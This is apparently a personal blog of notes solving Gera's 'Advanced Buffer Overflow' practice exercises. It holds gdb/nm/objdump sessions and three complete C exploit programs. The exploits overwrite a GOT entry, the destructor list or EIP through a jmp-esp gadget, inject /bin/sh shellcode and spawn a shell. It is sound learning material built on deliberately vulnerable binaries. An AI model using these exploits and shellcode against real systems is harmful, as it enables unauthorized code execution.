Wednesday, January 26, 2011

Advanced Buffer Overflow #7 Redux Redux

[dennis@localhost abo8-2]$ nm -n abo8

...

08049600 B buf
08049700 A _end

On this system, when buf is in the BSS, we can't overwrite anything useful.

Instead, I'm using this post as a note to myself about overwriting GOT entries in abo7. I've appended a printf() to abo7.c.
/* abo7.c                                                  *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* sometimes you can,       *
 * sometimes you don't      *
 * that's what life's about */

char buf[256]={1};

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        printf("printf me\n");
}

[dennis@localhost abo7-3]$ nm -n abo7

...

08049560 D buf
08049660 ? __EH_FRAME_BEGIN__
08049660 ? __FRAME_END__
08049660 d force_to_data
08049664 ? __CTOR_LIST__
08049668 ? __CTOR_END__
0804966c ? __DTOR_LIST__
08049670 ? __DTOR_END__
08049674 ? _GLOBAL_OFFSET_TABLE_

...

[dennis@localhost abo7-3]$ objdump -R abo7 | grep printf
0804968c R_386_JUMP_SLOT   printf

(gdb) x/x buf
0x8049560 :        0x00000001

(gdb) x/x 0x08049674
0x8049674 <_global_offset_table_>:      0x0804969c
(gdb) print /d 0x8049674 - 0x8049560
$2 = 276

(gdb) x/x 0x0804968c
0x804968c <_global_offset_table_+24>:   0x08048366
(gdb) x/x 0x08048366
0x8048366 <printf+6>:   0x00001868
(gdb) print /d 0x0804968c - 0x8049560
$3 = 300

GOT, 0x8049674, is 276 bytes away from buf and the printf entry, 0x0804968c is 300 bytes away.

Putting it together.
dennis@ipa:~/abo7-3$ cat exp.c7-3$ 1;2c
#include <stdio.h>
#include <string.h>

#define BUFLEN 304
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049560

char shellcode[] =
  /* aleph one shellcode */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
  char argv1[BUFLEN + 1];
  char *p;
  char *argv[] = { VULN, argv1, NULL };

  p = argv1;

  /* nops */
  memset(p, '\x90', 16);
  p += 16;

  /* shellcode */
  memcpy(p, shellcode, strlen(shellcode));
  p += strlen(shellcode);

  /* padding */
  memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
  p += (BUFLEN - 16 - strlen(shellcode) - 4);

  /* set printf got entry */
  *((void **)p) = (void *)RET;
  p += 4;

  *p = '\0';

  execve(argv[0], argv, NULL);
  return -1;
}

[dennis@localhost abo7-3]$ ./exp
sh-2.04$

Advanced Buffer Overflow #7 Redux

[dennis@localhost abo7-2]$ nm -n abo7

...

08049520 D buf
08049620 ? __EH_FRAME_BEGIN__
08049620 ? __FRAME_END__
08049620 d force_to_data
08049624 ? __CTOR_LIST__
08049628 ? __CTOR_END__
0804962c ? __DTOR_LIST__
08049630 ? __DTOR_END__
08049634 ? _GLOBAL_OFFSET_TABLE_

...

On this system, buf is located in a place where we can overwrite the DTOR data structure.
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0xffffffff
(gdb) print /x 0x0804962c + 4
$2 = 0x8049630
(gdb) x/x 0x8049630
0x8049630 <__dtor_end__>:       0x00000000
(gdb) x/x buf
0x8049520 :        0x00000041
(gdb) print /d 0x8049630 - 0x8049520
$5 = 272

DTOR starts at 0x804962c, we want to start overwritting at 0x804962c + 4 = 0x8049630. This is 272 bytes away from buf (at 0x8049520).
(gdb) run `perl -e 'print "A" x 272 . "B" x 4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/abo7-2/abo7 `perl -e 'print "A" x 272 . "B" x 4'`
Breakpoint 1, main (argv=2, argc=0xbffffa6c) at abo7.c:12
12      }
(gdb) x/x 0x0804962c
0x804962c <__dtor_list__>:      0x41414141
(gdb) x/x 0x0804962c + 4
0x8049630 <__dtor_end__>:       0x42424242

Putting it together.
dennis@ipa:~/abo7-2$ cat exp.c                                                 
#include <stdio.h>
#include <string.h>

#define BUFLEN 276
#define VULN "./abo7"
/* hardcoded for simplicity, but need a better way to get this */
#define RET 0x8049520

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* nops */
        memset(p, '\x90', 16);
        p += 16;

        /* shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        /* padding */
        memset(p, 'A', (BUFLEN - 16 - strlen(shellcode) - 4));
        p += (BUFLEN - 16 - strlen(shellcode) - 4);

        /* set dtor */
        *((void **)p) = (void *)RET;
        p += 4;

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}

[dennis@localhost abo7-2]$ ./exp
sh-2.04$

Notes: Using a jmp for a return address

Just some notes to myself about using a jmp as a return address in an exploit.
dennis@ipa:~/bof-jmp$ cat vuln.c                                               
/* plant a jmp esp to use */
void func(void)
{
        __asm__("jmp *%esp");
}

int main(int argc, char *argv[])
{
        char buf[256];

        strcpy(buf, argv[1]);
}

At 268 + 4 bytes, eip is overwritten and esp points to the start of my buffer.
(gdb) run `perl -e 'print "A" x 268 . "B" x 4 . "C" x 4'`
Starting program: /home/dennis/jmp-example/vuln `perl -e 'print "A" x 268 . "B"
x 4 . "C" x 4'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/x $esp
0xbffff9f0:     0x43434343

Need to find a suitable jmp esp instructions--avoid NULL bytes/other bad characters in the address.
root@bt:/ftphome# /pentest/exploits/framework3/msfelfscan -j esp vuln
[vuln]
0x08048463 jmp esp

Putting it together.
dennis@ipa:~/bof-jmp$ cat exp.c                                                
#include <stdio.h>
#include <string.h>

#define BUFLEN 400
#define VULN "./vuln"
#define RET 0x8048463

char shellcode[] =
        /* aleph one shellcode */
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
        char argv1[BUFLEN + 1];
        char *p;
        char *argv[] = { VULN, argv1, NULL };

        p = argv1;

        /* padding */
        memset(p, 'A', 268);
        p += 268;

        /* set eip */
        //memset(p, 'B', 4);
        *((void **)p) = (void *)RET;
        p += 4;

        /* set nops -- not really needed */
        memset(p, '\x90', 16);
        p += 16;

        /* set shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);

        *p = '\0';

        execve(argv[0], argv, NULL);
        return -1;
}
[dennis@localhost bof-jmp]$ ./exp
sh-2.04$
When usable, using a jmp is much cleaner than hardcoding an address and on some systems--most likely nothing considered new--it can bypass some ASLR restrictions.

Tuesday, January 4, 2011

Advanced Buffer Overflow #8

Hiatus over!


/* abo8.c                                       *
* specially crafted to feed your brain by gera */

/* spot the difference */

char buf[256];

int main(int argv,char **argc) {
 strcpy(buf,argc[1]);
}


I run into the same issue as with abo7: that due to how the binary is linked together there is nothing valuable to overwrite when overflowing buf.

buf is in the .bss section:

$ nm abo8 | grep buf
08049620 B buf

.bss section starts at 0x08049600


(gdb) maintenance info sections

...

    0x08049600->0x08049720 at 0x000005e8: .bss ALLOC
    0x00000000->0x0000007e at 0x000005e8: .comment READONLY HAS_CONTENTS
    0x00000000->0x000000a8 at 0x00000668: .debug_aranges READONLY HAS_CONTENTS
    0x00000000->0x00000048 at 0x00000710: .debug_pubnames READONLY HAS_CONTENTS
    0x00000000->0x00000375 at 0x00000758: .debug_info READONLY HAS_CONTENTS
    0x00000000->0x0000010a at 0x00000acd: .debug_abbrev READONLY HAS_CONTENTS
    0x00000000->0x00000244 at 0x00000bd7: .debug_line READONLY HAS_CONTENTS
---Type  to continue, or q  to quit---
    0x00000000->0x00000030 at 0x00000e1c: .debug_frame READONLY HAS_CONTENTS
    0x00000000->0x000000ae at 0x00000e4c: .debug_str READONLY HAS_CONTENTS


and it is 288 bytes

(gdb) p/d 0x08049720-0x08049600
$1 = 288

I start seeing some segfaults at 2528 As when it starts hitting inaccessible memory:


(gdb) run `perl -e 'print "A"x2528';`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/gera/abo8/abo8 `perl -e 'print "A"x2528';`

Program received signal SIGSEGV, Segmentation fault.
0xb7ea5ba6 in strcpy () from /lib/tls/libc.so.6

(gdb) x/1000x 0x08049600

...

0x8049ff0:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a000:      Cannot access memory at address 0x804a000


Also verified by nm ordered by addresses:

$ nm -n abo8

...

08049620 B buf
08049720 A _end
$